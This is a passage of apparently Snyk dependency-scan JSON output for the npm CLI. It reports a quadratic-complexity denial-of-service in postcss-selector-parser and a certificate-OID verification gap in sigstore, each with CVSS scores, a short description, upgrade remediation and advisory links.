"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `uniqs` helper and index-membership checks in `src/parser.js` when parsing flat selectors (e.g. `.a.a.a...`) containing a large number of class or ID tokens. The original implementation uses `Array.indexOf` inside a `filter` callback and repeated linear scans of the `hasClass`/`hasId` arrays, producing quadratic time complexity proportional to the number of tokens. An attacker who can supply selector input to the parser can trigger CPU exhaustion by providing a long flat selector, pinning a CPU core and causing the process to become unresponsive.\n## Remediation\nUpgrade `postcss-selector-parser` to version 7.1.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf)\n- [GitHub Commit](https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd)\n- [GitHub Release](https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6)\n", "epssDetails": { "percentile": "0.31217", "probability": "0.00394", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-104844" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-rj75-hqrm-r3gf" ] }, "packageName": "postcss-selector-parser", "proprietary": false, "creationTime": "2026-10-05T09:18:38.058885Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-02T18:30:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-05T09:18:38.281663Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:37:51.094822Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.1" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.6" ], "isUpgradable": true, "isPatchable": false, "name": "postcss-selector-parser", "version": "7.1.1" }, { "id": "SNYK-JS-POSTCSSSELECTORPARSER-20510276", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<7.1.6" ] }, "exploit": "Not Defined", "fixedIn": [ "7.1.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "postcss-selector-parser", "references": [ { "url": "https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf", "title": "GitHub Advisory" }, { "url": "https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd", "title": "GitHub Commit" }, { "url": "https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `uniqs` helper and index-membership checks in `src/parser.js` when parsing flat selectors (e.g. `.a.a.a...`) containing a large number of class or ID tokens. The original implementation uses `Array.indexOf` inside a `filter` callback and repeated linear scans of the `hasClass`/`hasId` arrays, producing quadratic time complexity proportional to the number of tokens. An attacker who can supply selector input to the parser can trigger CPU exhaustion by providing a long flat selector, pinning a CPU core and causing the process to become unresponsive.\n## Remediation\nUpgrade `postcss-selector-parser` to version 7.1.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf)\n- [GitHub Commit](https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd)\n- [GitHub Release](https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6)\n", "epssDetails": { "percentile": "0.31217", "probability": "0.00394", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-104844" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-rj75-hqrm-r3gf" ] }, "packageName": "postcss-selector-parser", "proprietary": false, "creationTime": "2026-10-05T09:18:38.058885Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-02T18:30:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-05T09:18:38.281663Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:37:51.094822Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.1" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.6" ], "isUpgradable": true, "isPatchable": false, "name": "postcss-selector-parser", "version": "7.1.1" }, { "id": "SNYK-JS-POSTCSSSELECTORPARSER-20510276", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<7.1.6" ] }, "exploit": "Not Defined", "fixedIn": [ "7.1.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "postcss-selector-parser", "references": [ { "url": "https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf", "title": "GitHub Advisory" }, { "url": "https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd", "title": "GitHub Commit" }, { "url": "https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `uniqs` helper and index-membership checks in `src/parser.js` when parsing flat selectors (e.g. `.a.a.a...`) containing a large number of class or ID tokens. The original implementation uses `Array.indexOf` inside a `filter` callback and repeated linear scans of the `hasClass`/`hasId` arrays, producing quadratic time complexity proportional to the number of tokens. An attacker who can supply selector input to the parser can trigger CPU exhaustion by providing a long flat selector, pinning a CPU core and causing the process to become unresponsive.\n## Remediation\nUpgrade `postcss-selector-parser` to version 7.1.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf)\n- [GitHub Commit](https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd)\n- [GitHub Release](https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6)\n", "epssDetails": { "percentile": "0.31217", "probability": "0.00394", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-104844" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-rj75-hqrm-r3gf" ] }, "packageName": "postcss-selector-parser", "proprietary": false, "creationTime": "2026-10-05T09:18:38.058885Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-02T18:30:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-05T09:18:38.281663Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:37:51.094822Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.1" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.6" ], "isUpgradable": true, "isPatchable": false, "name": "postcss-selector-parser", "version": "7.1.1" }, { "id": "SNYK-JS-POSTCSSSELECTORPARSER-20510276", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<7.1.6" ] }, "exploit": "Not Defined", "fixedIn": [ "7.1.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "postcss-selector-parser", "references": [ { "url": "https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf", "title": "GitHub Advisory" }, { "url": "https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd", "title": "GitHub Commit" }, { "url": "https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:37:51.094822Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-03T05:59:30.073849Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `uniqs` helper and index-membership checks in `src/parser.js` when parsing flat selectors (e.g. `.a.a.a...`) containing a large number of class or ID tokens. The original implementation uses `Array.indexOf` inside a `filter` callback and repeated linear scans of the `hasClass`/`hasId` arrays, producing quadratic time complexity proportional to the number of tokens. An attacker who can supply selector input to the parser can trigger CPU exhaustion by providing a long flat selector, pinning a CPU core and causing the process to become unresponsive.\n## Remediation\nUpgrade `postcss-selector-parser` to version 7.1.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/postcss/postcss-selector-parser/security/advisories/GHSA-rj75-hqrm-r3gf)\n- [GitHub Commit](https://github.com/postcss/postcss-selector-parser/commit/62b191792df0a0bc56062e5a875bc74aae2a51cd)\n- [GitHub Release](https://github.com/postcss/postcss-selector-parser/releases/tag/7.1.6)\n", "epssDetails": { "percentile": "0.31217", "probability": "0.00394", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-104844" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-rj75-hqrm-r3gf" ] }, "packageName": "postcss-selector-parser", "proprietary": false, "creationTime": "2026-10-05T09:18:38.058885Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-10-02T18:30:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-10-05T09:18:38.281663Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:37:51.094822Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.1" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/query@5.0.0", "postcss-selector-parser@7.1.6" ], "isUpgradable": true, "isPatchable": false, "name": "postcss-selector-parser", "version": "7.1.1" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpublish@11.1.3", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpublish@11.2.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<4.1.1" ] }, "exploit": "Not Defined", "fixedIn": [ "4.1.1" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "sigstore", "references": [ { "url": "https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr", "title": "GitHub Advisory" }, { "url": "https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:05:51.666813Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-07-17T14:43:57.541778Z" } ], "description": "## Overview\n[sigstore](https://www.npmjs.org/package/sigstore) is a code-signing for npm packages\n\nAffected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to the `certificateOIDs` option being accepted by the public API but discarded before verification, resulting in required certificate extension OIDs never being checked. An attacker can bypass intended certificate extension constraints by presenting unauthorized certificates that satisfy the remaining verification checks.\n## Remediation\nUpgrade `sigstore` to version 4.1.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/sigstore/sigstore-js/security/advisories/GHSA-52v5-jr5w-gjxr)\n- [GitHub Commit](https://github.com/sigstore/sigstore-js/commit/7845532f9d17f6f765363dbee82b01bd159fb52b)\n", "epssDetails": { "percentile": "0.08622", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-48815" ], "CWE": [ "CWE-347" ], "GHSA": [ "GHSA-52v5-jr5w-gjxr" ] }, "packageName": "sigstore", "proprietary": false, "creationTime": "2026-07-04T16:02:59.038514Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-01T19:58:28Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-04T16:02:59.202340Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:05:51.666813Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "sigstore@4.1.0" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "sigstore@4.1.1" ], "isUpgradable": true, "isPatchable": false, "name": "sigstore", "version": "4.1.0" }, { "id": "SNYK-JS-SIGSTORE-17817054", "title": "Improper Verification of Cryptographic Signature", "CVSSv3": 